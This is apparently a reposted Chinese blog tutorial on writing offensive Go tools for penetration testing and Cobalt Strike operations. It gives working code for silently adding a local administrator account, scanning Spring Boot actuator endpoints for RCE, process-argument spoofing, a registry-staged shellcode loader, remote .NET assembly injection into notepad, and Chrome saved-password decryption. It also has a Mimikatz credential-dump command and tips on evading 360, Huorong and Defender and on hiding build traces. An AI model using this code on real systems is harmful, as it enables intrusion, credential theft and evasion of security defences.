go语言开发3

举报
亿人安全 发表于 2023/05/31 16:52:57 2023/05/31
【摘要】 简介windows api 使用首先我们介绍用Go语言去添加用户.这里可以给大家介绍一个小技巧,因为Go和C的语法是比较相似的,所以可以去对比C的写法来写Go的.要注意的是C语言在底层这里很多都定义好了,但Go并没有定义好,所以我们要重写USER_INFO_1 ui; //这个因为已经在C中定义好了//我们可以Ctrl+单击进入看看这一个结构体为了让Go减少体积,这里便不去调用第三方库了,下...



简介

windows api 使用


首先我们介绍用Go语言去添加用户.
这里可以给大家介绍一个小技巧,因为Go和C的语法是比较相似的,所以可以去对比C的写法来写Go的.


要注意的是C语言在底层这里很多都定义好了,但Go并没有定义好,所以我们要重写


USER_INFO_1 ui; 
//这个因为已经在C中定义好了
//我们可以Ctrl+单击进入看看这一个结构体



为了让Go减少体积,这里便不去调用第三方库了,下面对一些结构体和类型进行相对应的重写


type (
	DWORD  uint32
	LPWSTR uintptr
)

type USER_INFO_1 struct {
	usri1_name         LPWSTR
	usri_password      LPWSTR
	usri1_password_age DWORD
	usri1_priv         DWORD
	usri1_home_dir     LPWSTR
	usri1_comment      LPWSTR
	usri1_flags        DWORD
	usri1_script_path  LPWSTR
}


因为添加管理员用户涉及了Golang api的字符串形式,这里我们可利用syscall.UTF16PtrFromString进行转换。


user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))


当然我们也可以看到C语言版中有USER_PRIV_USER字样,点进去看是被定义为1的
然后我们就可以模仿写出


const (
	USER_PRIV_USER = 1
	UF_SCRIPT      = 0x0001
	NERR_Success   = 0
)


当我们这些结构体和变量都处理好的时候,我们便可以调用DLL里面的API进入操作了
最终可以不受环境影响32位Go程序是600kb左右
这个功能目前也集中在免杀平台里面.


//author:YanMu
package main

import (
	"syscall"
	"unsafe"
)

type (
	DWORD  uint32
	LPWSTR uintptr
)

const (
	USER_PRIV_USER = 1
	UF_SCRIPT      = 0x0001
	NERR_Success   = 0
)

type USER_INFO_1 struct {
	usri1_name         LPWSTR
	usri_password      LPWSTR
	usri1_password_age DWORD
	usri1_priv         DWORD
	usri1_home_dir     LPWSTR
	usri1_comment      LPWSTR
	usri1_flags        DWORD
	usri1_script_path  LPWSTR
}

type _LOCALGROUP_USERS_INFO_0 struct {
	lgrui0_name LPWSTR
}

var (
	Netapi32, _                                         = syscall.LoadLibrary("Netapi32.dll")
	NetUserAdd, _                                       = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetUserAdd")
	NetLocalGroupAddMembers, _                          = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetLocalGroupAddMembers")
	dwError                    DWORD                    = 0
	user                       USER_INFO_1              = USER_INFO_1{}
	account                    _LOCALGROUP_USERS_INFO_0 = _LOCALGROUP_USERS_INFO_0{}
)

func add_user_To_the_admin_group() {
	user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
	user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))
	user.usri1_priv = USER_PRIV_USER
	user.usri1_flags = UF_SCRIPT
	if a, _, _ := syscall.Syscall6(NetUserAdd, 4, 0, 1, uintptr(unsafe.Pointer(&user)), uintptr(dwError), 0, 0); a == 0 {
		println("添加用户成功!")
	} else {
		println("添加用户失败")
	}
	account.lgrui0_name = user.usri1_name
	var admin_group LPWSTR
	admin_group = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("Administrators")))
	if d, _, _ := syscall.Syscall6(NetLocalGroupAddMembers, 5, 0, uintptr(admin_group), 3, uintptr(unsafe.Pointer(&account)), 1, 0); d == NERR_Success {
		println("添加用户到管理员组成功!")
	} else {
		println("添加用户到管理员组失败")
	}
	defer func() {
		syscall.FreeLibrary(Netapi32)
	}()
}

func main() {
	add_user_To_the_admin_group()
}


当然可能这种调用这种API,没有威胁性,我测试的是windows def和卡巴斯基都可以添加上,也包括360,但看到Tools上说到C的不免杀了


[]最新版360已经拦截netapi加用户了。 - T00ls.Net,


就写出了Go版本的,毕竟如果杀软拦截CS特征,但还能登上3389还挺香的.


Spring渗透线程小工具


在实际操作的时候,我们都会根据需求来写一些满足自己的小工具


这里以比较火的Spring boot为例


//author:YanMu
package main

/*
LQ
*/
import (
	"bufio"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strconv"
	"strings"
	"sync"
	"time"
)

var (
	numberTasks                []string
	the_returned_result_is_200 []string
	list_of_errors             []string
	t                          = &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	opt = option()
)

type FLAG_TO_CHOOSE struct {
	src_file          string
	des_file          string
	routineCountTotal int
	urls              string
}

func option() *FLAG_TO_CHOOSE {
	src_file := flag.String("s", "spring.txt", "字典文件")
	urls := flag.String("u", "", "目标url")
	des_file := flag.String("d", "result.txt", "结果文件")
	routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")
	flag.Parse()
	return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}
}

func title() {
	fmt.Println(`
  ▄████  ▒█████  
 ██▒ ▀█▒▒██▒  ██▒
▒██░▄▄▄░▒██░  ██▒
░▓█  ██▓▒██   ██░
░▒▓███▀▒░ ████▓▒░
 ░▒   ▒ ░ ▒░▒░▒░ 
  ░   ░   ░ ▒ ▒░ 
░ ░   ░ ░ ░ ░ ▒  
      ░     ░ ░

`)
}

func main() {
	title()
	file, err := os.Open(opt.src_file)
	if err != nil {
		fmt.Println("打开文件时候出错")
	}
	defer func() {
		file.Close()
	}()
	n := bufio.NewScanner(file)
	for n.Scan() {
		data := n.Text()
		numberTasks = append(numberTasks, data)

	}
	client = &http.Client{
		Transport: t,
		Timeout:   20 * time.Second,
	}
	beg := time.Now()
	wg := &sync.WaitGroup{}
	tasks := make(chan string)
	results := make(chan string)
	go func() {
		for result := range results {
			if result == "" {
				close(results)
			} else if strings.Contains(result, "200") || strings.Contains(result, "端点") {
				fmt.Println(result)
				the_returned_result_is_200 = append(the_returned_result_is_200, result)
			} else if strings.Contains(result, "500") {
				if strings.Contains(result, "article") {
					fmt.Println(result)
					the_returned_result_is_200 = append(the_returned_result_is_200, result)
				}
			} else {
				list_of_errors = append(list_of_errors, result)
			}
		}
	}()
	for i := 0; i < opt.routineCountTotal; i++ {
		wg.Add(1)
		go worker(wg, tasks, results)
	}
	for _, task := range numberTasks {
		tasks <- task
	}
	tasks <- ""
	wg.Wait()
	results <- ""
	fmt.Println("\033[33m+++++++++++++++++++请求成功的++++++++++++++++++++++")

	file_1, err := os.OpenFile(opt.des_file, os.O_WRONLY|os.O_CREATE, 0666)
	if err != nil {
		fmt.Println("文件打开失败", err)
	}
	defer file_1.Close()
	write_1 := bufio.NewWriter(file_1)
	for _, v := range the_returned_result_is_200 {
		fmt.Println(v)
		write_1.WriteString(v + "\n")
	}
	write_1.Flush()
	fmt.Println("发生了", len(list_of_errors), "个失败")
	fmt.Printf("time consumed: %fs\n", time.Now().Sub(beg).Seconds())
	fmt.Println("具体接口用法请参考:https://github.com/LandGrey/SpringBootVulExploit")
	fmt.Println("小提醒:ctrl+单击会打开链接\033[0m")
}

func worker(group *sync.WaitGroup, tasks chan string, result chan string) {
	for task := range tasks {
		if task == "" {
			close(tasks)
		} else {
			respBody, err := NumberQueryRequest(task)
			if err != nil {
				fmt.Printf("error occurred in NumberQueryRequest: %s\n", task)
				result <- err.Error()
			} else {
				result <- respBody
			}
		}
	}
	group.Done()
}

var client *http.Client

func NumberQueryRequest(keyword string) (body string, err error) {
	opt.urls = strings.TrimRight(opt.urls, "/")
	url := fmt.Sprintf("%s%s", opt.urls, keyword)
	fmt.Println(url)
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		return "构造请求出错", err
	}
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
	resp, err := client.Get(url)
	if err != nil {
		return "发送请求出错", err
	}
	return_value := resp.StatusCode
	if resp != nil && resp.Body != nil {
		defer resp.Body.Close()
	}
	if strings.Contains(keyword, "/env") {
		body22, _ := ioutil.ReadAll(resp.Body)
		if strings.Contains(string(body22), "spring.cloud.bootstrap.location") {
			body = "url: " + url + " || " + "目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试"
			return body, nil
		} else if strings.Contains(string(body22), "eureka.client.serviceUrl.defaultZone") {
			body = "url: " + url + " || " + "目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试"
			return body, nil
		}
	} else if strings.Contains(keyword, "/jolokia/list") {
		body33, _ := ioutil.ReadAll(resp.Body)
		if strings.Contains(string(body33), "reloadByURL") {
			body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试"
			return body, nil
		} else if strings.Contains(string(body33), "createJNDIRealm") {
			body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试"
			return body, nil
		}
	}
	body = "url:" + url + " || " + "返回值:" + strconv.Itoa(return_value)
	return body, nil

}


当然要给师傅们写上Spring boot的字典


/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/jolokia/list
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/env
/actuator/env
/refresh
/actuator/refresh
/restart
/actuator/restart
/jolokia
/actuator/jolokia
/trace
/actuator/httptrace
/article?id=${7*7}
/article?id=66
/h2-console




小工具用了多线程,所以速度上会有一点舒适度的.主要介绍一下编写的注意事项.


因为我们渗透测试的的工具一般就是发包功能,不联网咋黑[doge],所以我们会学习"net/http"包的使用.


对于我来说,可以理解以下三步骤.


//构造客户端
var client *http.Client
//构成请求包
req, err := http.NewRequest("GET", url, nil)
if err != nil {
	return "构造请求出错", err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
//客户端发送请求
resp, err := client.Get(url)
if err != nil {
	return "发送请求出错", err
}


通过设置TLSClientConfig,取消对HTTPS的证书验证,因为我们在平时,还是很多网站会遇到这个证书问题的


TLSClientConfig: &tls.Config{InsecureSkipVerify: true}


"flag"包一般就是帮我们去完成一些交互式命令的


type FLAG_TO_CHOOSE struct {
	src_file          string
	des_file          string
	routineCountTotal int
	urls              string
}

func option() *FLAG_TO_CHOOSE {
	src_file := flag.String("s", "spring.txt", "字典文件")
	urls := flag.String("u", "", "目标url")
	des_file := flag.String("d", "result.txt", "结果文件")
	routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")
	flag.Parse()
	return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}
}


然后就是多线程去分配任务,routineCountTotal是我们的线程数


go func() {
		for result := range results{
			if result == ""{
				close(results)
			}else{
				fmt.Println("result:", result)
			}
		}
	}()
//接受响应并处理的匿名函数

for _, task := range numberTasks{
	tasks <- task
}
//分发我们的字典任务


当然这个工具还有很多要改善的地方,最明显的一点,比较Low.🤔


logo的话,就可以用一些字符画生成网站来解决这个问题
字符画生成


https://github.com/YanMu2020/SpringScan,这是编译好的工具


小总结:多线程是Go的核心,还是需要多加学习.


ScareCrow数字签名


这个工具比较火,最近作者也是作为一次议题带到了国外的安全大会上,虽然现在查杀比较严重,因为免杀是一个见光死的技术,


但不妨碍我们学习源码去二开或者带到自己的程序当中.


平时我们常用的工具为sigthief来进行证书伪造,从而得到免杀效果.但ScareCrow也算是有自己一套



在ScareCrow中,自签名的功能位于limelighter/limelighter.go中


签名功能主函数是Signer,调用了自写的VarNumberLength,GenerateCert,GeneratePFK,SignExecutable函数


其参数是需要提供的交互式参数,所以这个功能我们可以直接分离作为一个程序,作为exe免杀辅助工具,或者自己写的框架的功能




这个文件主要是程序添加证书和程序信息的.


可以看到ScareCrow是调用osslsigncode来达到签名效果,不过提供osslsigncode需要的pkcs12file达到一步化.



Go版本的地狱门


当我们遇到高版本windows2016服务器的时候,会自带windows defender,一般我们可以通过调用地狱门(windows原生调用syscall)的方法来绕过.


C版本:https://github.com/am0nsec/HellsGate/


Go版本:https://github.com/C-Sto/BananaPhone


Go版本缺陷是作者仅研究了asm_x64.s ,所以编译为32位会报错,不过一般高版本服务器以64位为主.低版本可以尝试调用API来绕过.


Go版本的地狱门,作者写出了第三方包的形式,这也为我们扩展打下基础.


argue欺骗


在CS3.13中,引入了argue参数,这是一种进程参数欺骗的技术,在进程启动的时候,使用一些干扰参数,使其记录的参数和实际运行的参数不同


创建了一个挂起的终端进程,通过NtQueryInformationProcess API获取进程块的peb的地址,利用readProcessMemory API来获取进程块的内存副本,然后读取修改RTL_USER_PROCESS_PARAMETERS结构体中commandline的字段,替换为正常的命令行参数


其实很多时候,用Go写一些API不能太深入,还是那句话因为很多底层东西C定好了,Go没有定义好,所以需要重写.最简单不重写那些底层的方法,是直接套用C代码就可.


这时候可以用到CGO了,CGO可以让Go去更好的调用C函数


//author:YanMu
package main

/*
#include <stdio.h>

int fyu() {
    return 0;
}
*/
import "C"

func main() {
	var a C.int
	a = C.fyu()
	println(a)
}



package main

/*
#include <stddef.h>
#include <stdbool.h>
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS(*NtQueryInformationProcess2)(IN HANDLE, IN PROCESSINFOCLASS,
	OUT PVOID, IN ULONG, OUT PULONG);

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
	SIZE_T bytesRead;
	char* alloc;

	alloc = (char*)malloc(bytes);
	if (alloc == NULL) {
		return NULL;
	}

	if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
		free(alloc);
		return NULL;
	}

	return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data,
	DWORD bytes) {
	SIZE_T bytesWritten;

	if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
		return false;
	}

	return true;
}

int wmain() {
	int argc =3;
	char *argv[3];
	argv[1] = "powershell";
	argv[2] = "################################################";

	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	PROCESS_BASIC_INFORMATION pbi;
	DWORD retLen;
	SIZE_T bytesRead;
	PEB pebLocal;
	RTL_USER_PROCESS_PARAMETERS* parameters;

	char* aaa = (char*)"cmd";

	char* bbb = (char*)"cmd.exe";

	int padding_size = 0;
	int memsize = 0;
	for (int i = 1; i < argc; i++) {
		padding_size += strlen(argv[i]);
	}
	memsize = (padding_size + 5) + (strlen(argv[1]) + 1) + 1;
	char* addr = (char*)malloc(memsize);
	addr[memsize - 1] = 0;
	memset(addr, 'x', memsize - 1);

	if (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0)
	{
		strcpy(addr, argv[1]);
	}
	else {
		strcpy(addr, argv[1]);
	}
	memset(addr + strlen(argv[1]), ' ', 1);


	int command_size = 4;
	for (int i = 1; i < argc; i++) {
		command_size += strlen(argv[i]) + 1;
	}
	char* command = (char*)malloc(command_size);
	memset(command, 0, command_size);

	char* next_addr = command;

	if (strcmp(argv[2], "/c") != 0 && (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0))
	{
		strcpy(command, argv[1]);
		strcpy(command + strlen(argv[1]), " /c ");
		next_addr += strlen(argv[1]) + 4;
	}
	else {
		strcpy(command, argv[1]);
		next_addr += strlen(argv[1]);
		memset(next_addr, ' ', 1);
		next_addr += 1;
	}

	for (int i = 2; i < argc; i++) {
		strcpy(next_addr, argv[i]);
		next_addr += strlen(argv[i]);
		memset(next_addr, ' ', 1);
		next_addr += 1;
	}

	memset(next_addr - 1, 0, 1);

	printf("padding: %s\ncommand: %s\n", addr, command);
	char* str = command;
	char* test = addr;

	int size = mbstowcs(0, str, 0) + 1;
	wchar_t* wstr = (wchar_t*)malloc(size * sizeof(wchar_t));
	mbstowcs(wstr, str, size);

	CreateProcessA(NULL,
		(LPSTR)test,
		NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
		"C:\\Windows\\System32\\", &si, &pi);

	NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(
		LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
	ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

	ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB),
		&bytesRead);

	parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
		pi.hProcess, pebLocal.ProcessParameters,
		sizeof(RTL_USER_PROCESS_PARAMETERS) + 300);


	writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer,
		(void*)wstr, size * sizeof(wchar_t));

	DWORD newUnicodeLen = 28;

	writeProcessMemory(
		pi.hProcess,
		(char*)pebLocal.ProcessParameters +
		offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen, 4);

	ResumeThread(pi.hThread);
}
*/
import "C"

func main() {
	C.wmain()
}


这个方法主要可以用到,你在写Go的C2,或者一些C工具的免杀,体积的话也会很小.可以理解为变相的混洗加壳.当然argue的C版本是免杀的


注意在import "C"的时候前面的注释,就是你的C代码,而且这个特殊的注释不能和import "C"有空格


使用C包的时候,还要安装GCC编译器.并且Go支持内嵌纯C代码,如果你直接内嵌了CPP的代码可能会报错.因为C至今为止还没有一个二进制接口规范(ABI),但有时候我们可以增加一组C语言函数接口作为C类和CGO之间的桥梁.



Go语言高级编程


cobalt strike免杀加载器


大家一直在说Go木马有点大,但Go木马确实可以到达600kb到700kb,适合钓鱼.


目前加载器对于我而言,加解密是次要的,更应该是寻找新的Windows API找到新的套路上线.


简单聊聊火绒和360,360在实战中比较多,所以HW实际一点,能过360上线就差不多,火绒的查杀能力,我测试中,多以特征码为主,比如你的shellcode就是一个,可以自己xor一下,如果是ps1这些脚本的话,可能某个语句就是特征码,删除了弄个别名,IEX混洗执行,360规则在我眼中是比较迷的,处于一种你可能过了,但一会就给干掉那种.而且实战中360会敏感.


比如mimikatz换字符换图标,测试是1分钟给你干掉,而且实战中,在webshell上,一句话读取密码是实用的,但是如果你裸着一句话读取出来


powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'


是直接给你拦截的,特征很明显privilege::debug,sekurlsa::logonPasswords


当你测试cmd下免杀语句,也会出现拦着拦着给你不拦截了


还有一点,360火绒会拦截webshell起powershell进程,所以有时候免杀的powershell语句能在cmd上线,但在webshell不能上线


在这里其实可以考虑用到Csharp的using System.Management.Automation


再加上实战环境限制不一样,可能会处于你可能是过了,但实战中用不了的花瓶模式.只能看看在本地上线.



最后还要注意Go版本问题,因为在实战中2008很多,如果你使用Go编译高版本是不支持这些版本运行的,最后一个支持windows低版本运行syscall这些的编译器是Go 1.10.8.


Go高版本编译器编译的Frp是可以在2008运行的.


自制的免杀平台也是这个版本的编译器,经过测试windows高版本和低版本都可以上线了.


写到这里的时候,小刚师傅又在公众号发表新的API用法.


这里免杀加载器我用CGO去实现.


//author:YanMu
package main

import (
	"encoding/hex"
	"syscall"
	"unsafe"
)

/*
#include "windows.h"

void wsmain(){
    LPBYTE ptr;
    DWORD data_len;
    ptr=VirtualAlloc(0,800,0x3000,PAGE_EXECUTE_READWRITE);
    RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,0,&data_len);
    RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,ptr,&data_len);
    RegDeleteValueA(HKEY_CURRENT_USER,"t");
    EnumUILanguages((UILANGUAGE_ENUMPROC)ptr,0,0);
    return;
}
*/
import "C"

var (
	Advapi32, _       = syscall.LoadLibrary("Advapi32.dll")
	RegSetValueExA, _ = syscall.GetProcAddress(Advapi32, "RegSetValueExA")
)

func regdit() {
	defer syscall.FreeLibrary(Advapi32)
	shellcode, _ := hex.DecodeString("fc4883e4f0e8.............your shellcode...........")
	println(shellcode)
	tests := unsafe.Pointer(syscall.StringToUTF16Ptr("t"))
	output, _, _ := syscall.Syscall6(RegSetValueExA, 6, 0x80000001, uintptr(tests), 0, 3, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	println(output)
	C.wsmain()
}
func main() {
	regdit()
}


Go通过RegSetValueExA在注册表写入shellcode


简要介绍这几个API用法


RegSetValueExA:


向HKEY_CURRENT_USER(对应0x80000001)新建一个类型为REG_BINARY(对应为3)名字为t,内容是shellcode,长度是shellcode的长度


C的任务就是


VirtualAlloc分配一个(LPBYTE)内存,接受RegQueryValueExA读取的内容,然后EnumUILanguages回调函数执行.


不过这个加载器还有问题会导致它被查杀,因为shellcode就是最明显的特征码,所以加密了一下


这里因为调用了第三库,所以体积有1.2M,就当加了一个小壳.


当然Go调用API我一直喜欢用PEB隐藏的方式加载这些.不经可以隐藏一些API加载,也可以减少体积


最终效果.



细心老哥可以发现我没有加-H windowsgui,因为这个参数也是一个查杀点,不过依然可以绕过.


当然免杀加载器也可以纯Go实现.但是感觉CGO可能自带一点点A.B.U特性.


再比如当时利用UUID的API:UuidToStringA,与之相似的有MAC的APIRtlEthernetStringToAddressA


老一套创建线程执行,也是一个查杀点,绕过举个例子,当时Python反序列化免杀,是顺带自动执行的.


而且一开始其实分配的内存不一定要是可读可写可执行(RWX),这个点也是比较明显的.


其实这种API加载很多,比如分配RW区域的AllocADsMem,然后写入shellcode以后再改成可读可执行


由于免杀算是一个见光死的技术,所以只能讲一些注意事项


.NET assembly 内存加载


CS3.11后也加入了这个功能(Execute-Assembly),可以让我们恶意.NET程序不落地在内存中执行,集成在C2框架中这个功能还是很香的.


通过将CLR加载到进程中,加载.NET程序集并调用静态方法,最后清理CLR——[公共语言运行时,是一套完整的、高级的虚拟机]


.NET assembly项目


Go C2项目


这里我们直接调用b4rtik师傅的dll程序,在notepad.exe中启动我们的 .NET CLR,加载这个dl就很容易实现了


func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {
	AssemblySizeArr := convertIntToByteArr(len(assembly))
	ParamsSizeArr := convertIntToByteArr(len(params)+1)
	cmd := exec.Command("notepad.exe")
	cmd.SysProcAttr = &syscall.SysProcAttr{
		HideWindow: true,
	}
	var stdoutBuf, stderrBuf bytes.Buffer
	cmd.Stdout = &stdoutBuf
	cmd.Stderr = &stderrBuf

	cmd.Start()
	pid := cmd.Process.Pid

	handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
	if err != nil {
		return err
	}

	hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
	if err != nil {
		return err
	}

	_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
	if err != nil {
		return err
	}
	log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)

	assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
	if err != nil {
		return err
	}
	payload := append(AssemblySizeArr, ParamsSizeArr...)
	if amsi {
		payload = append(payload, byte(1))
	} else {
		payload = append(payload, byte(0))
	}

	payload = append(payload,  []byte(params)...)
	payload = append(payload,  '\x00')

	payload = append(payload, assembly...)

	_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))
	if err != nil {
		return err
	}
	log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)
	attr := new(syscall.SecurityAttributes)

	functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)

	threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr + uintptr(functionOffset)), uintptr(assemblyAddr), 0)
	if err != nil {
		return err
	}
	log.Println("Got thread handle:", threadHandle)
	for {
		code, err := getExitCodeThread(threadHandle)
		if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
			log.Fatalln(err.Error())
		}
		if code == STILL_RUNNING {
			time.Sleep(1000 * time.Millisecond)
		} else {
			break
		}
	}
	cmd.Process.Kill()
	outStr, errStr := stdoutBuf.String(), stderrBuf.String()
	fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)
	return nil
}


handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
//获取notepad进程句柄
hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
//分配内存,写入dll反射加载器

/*
剩下就是给加载文件分配内存,找到文件的偏移量,创建一个在notepad进程地址空间中运行的线程

*/



CS也是加载了InvokeAssembly.dll,会将 InvokeAssembly.dll和Dotnet Assembly以及参数放在一起,一次性发送到Client端,但是三者大小之和不能超过1MB,所以我们要执行Charp的体积不能超过1M



dll帮我们做了很多事情,但我感觉Nim里面的更简单[doge],byt3bl33d3r师傅牛


CS中还有一个类似的功能是4.1后引进的BOF:inline-execute,这个功能还能加载指定的C文件


浏览器解密


当我们钓鱼成功的时候,我们一般都解密目标机器上保存在浏览器的密码,这也是一个优秀的C2功能.


由于Csharp特性,这一方面,还是CS assembly 加载Csharp的exe比较香.


微软提供了两个数据保护API用来加密和解密,CryptProtectMemoryCryptUnprotectMemory


chrome的密码经过加密后存储位置


\AppData\Local\Google\Chrome\User Data\Default\Login Data


80版本后,存放密钥local state(JSON格式的文件)的位置


\AppData\Local\Google\Chrome\User Data\Local State


chrome密码存放其实是一个sqlite数据库文件.在Go中编写需要第三方库支持


github.com/mattn/go-sqlite3 //需要你安装GCC


这样我们可以先把这些需要的API和存放位置定义为一个全局变量


var (
	crypt32, _ = syscall.LoadLibrary("Crypt32.dll")
	kernel32   = syscall.NewLazyDLL("Kernel32.dll")

	procDecryptData, _        = syscall.GetProcAddress(crypt32, "CryptUnprotectData")
	procLocalFree             = kernel32.NewProc("LocalFree")
	dataPath           string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
	localStatePath     string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
	masterKey          []byte
)



可以看到80.x后加密后前缀为v10,这里可以帮我们起到判断使用哪种版本的解密方法


if strings.HasPrefix(PASSWORD, "v10") {
		PASSWORD = strings.Trim(PASSWORD, "v10")


如果加密的值未以 v10作为前缀,则使用Windows DPAPI接口对原始值进行加解密


func Decrypt(data []byte) ([]byte, error) {
	var outblob DATA_BLOB
	r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0)
	if r == 0 {
		return nil, err
	}
	defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
	return outblob.ToByteArray(), nil
}


如果不是就要用新的解密办法,先从local state中提取密钥,然后base64,Trim掉密钥的前缀DPAPI,然后再使用Windows DPAPI对其进行解密得到最终的密钥


它采用的是os_crypt_win.cc下的DecryptString方法.




func getMasterKey() ([]byte, error) {

	var masterKey []byte
	jsonFile, err := os.Open(localStatePath)
	if err != nil {
		return masterKey, err
	}

	defer jsonFile.Close()

	byteValue, err := ioutil.ReadAll(jsonFile)
	if err != nil {
		return masterKey, err
	}
	var result map[string]interface{}
	json.Unmarshal([]byte(byteValue), &result)
	roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
    //密钥存放在os_crypt.encrypted_key中
	decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
	stringKey := string(decodedKey)
	stringKey = strings.Trim(stringKey, "DPAPI")
	masterKey, err = Decrypt([]byte(stringKey))
	if err != nil {
		return masterKey, err
	}

	return masterKey, nil

}


整个加密过程使用了AES-GCM模式加密,在os_crypt_win.cc文件中可以看到相应的nonce和密钥取值



最后解密,体积也不算很大3.6M.



Go编译技巧



我们一般的编程环境是六十四位的


编译32位的指令是


set GOARCH=386


仅限于当前的shell窗口


当我们直接go build的exe,里面含有我们本地大量的信息,一不小心就可以被溯源到



防止被溯源的指令


go build -trimpath -ldflags "-w -s" main.go


当然 -w -s 后


